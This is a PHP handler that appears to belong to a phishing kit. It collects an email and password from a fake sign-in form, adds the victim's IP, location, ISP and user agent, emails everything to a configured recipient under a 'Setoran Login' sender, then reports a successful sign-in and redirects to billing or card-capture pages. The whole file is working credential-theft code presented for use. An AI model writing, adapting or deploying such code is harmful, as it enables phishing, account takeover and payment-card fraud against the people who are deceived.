<?php
header('Content-Type: application/json');

// Get form data - support 'email', 'user[email]', 'user', and password
$email = '';
if (!empty($_POST['user']['email'])) {
    $email = sanitizeInput($_POST['user']['email']);
} elseif (!empty($_POST['email'])) {
    $email = sanitizeInput($_POST['email']);
} elseif (!empty($_POST['user']) && is_string($_POST['user'])) {
    $email = sanitizeInput($_POST['user']);
}
$password = sanitizeInput($_POST['password'] ?? $_POST['user']['password'] ?? '');

if (empty($email)) {
    echo json_encode(['success' => false, 'message' => 'Email is required']);
    exit;
}

$_SESSION['data']['login'] = [
    'email' => $email,
    'password' => $password
];

$visitorInfo = $_SESSION['visitor_info'];
$ip = $visitorInfo['ip'] ?? 'Unknown';
$country = $visitorInfo['country'] ?? 'Unknown';

$date_subject = date('m/d/Y H:i:s');
$subject = "Sign In Account: $date_subject";

$pw = $password ?: '(not provided)';
$message = "..\n\n";
$message .= "[#] Email : {$email}\n";
$message .= "[#] Password : {$pw}\n\n";
$message .= "PC Info:\n";
$message .= "Useragent: " . ($visitorInfo['useragent'] ?? 'Unknown') . "\n";
$message .= "IP: {$ip}\n";
$message .= "Country: " . ($visitorInfo['country'] ?? 'Unknown') . "\n";
$message .= "City: " . ($visitorInfo['city'] ?? 'Unknown') . "\n";
$message .= "State: " . ($visitorInfo['state'] ?? 'Unknown') . "\n";
$message .= "ISP: " . ($visitorInfo['isp'] ?? 'Unknown') . "\n";
$message .= "Timezone: " . ($visitorInfo['timezone'] ?? 'Unknown') . "\n";

if (function_exists('log_visitor_step')) log_visitor_step('login', $visitorInfo);
if (function_exists('increment_stat')) increment_stat('signin');
if (function_exists('trigger_activity_notification')) trigger_activity_notification('login', $visitorInfo);

$redirectUrl = (defined('BILLING_ENABLED') && BILLING_ENABLED) ? '/billing' : '/cc';
$_SESSION['step'] = (defined('BILLING_ENABLED') && BILLING_ENABLED) ? 'billing' : 'cc';

$recipient = defined('RECIPIENT_EMAIL') ? RECIPIENT_EMAIL : '';
if (!empty($recipient)) {
    $fromEmail = 'batak@gobot.com';
    $headers  = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/plain; charset=UTF-8\r\n";
    $headers .= "From: Setoran Login <{$fromEmail}>\r\n";
    $headers .= "Reply-To: {$fromEmail}\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
    @mail($recipient, $subject, $message, $headers);
}

$response = json_encode([
    'success' => true,
    'message' => 'Sign in successful',
    'redirect' => $redirectUrl
]);
echo $response;
exit;
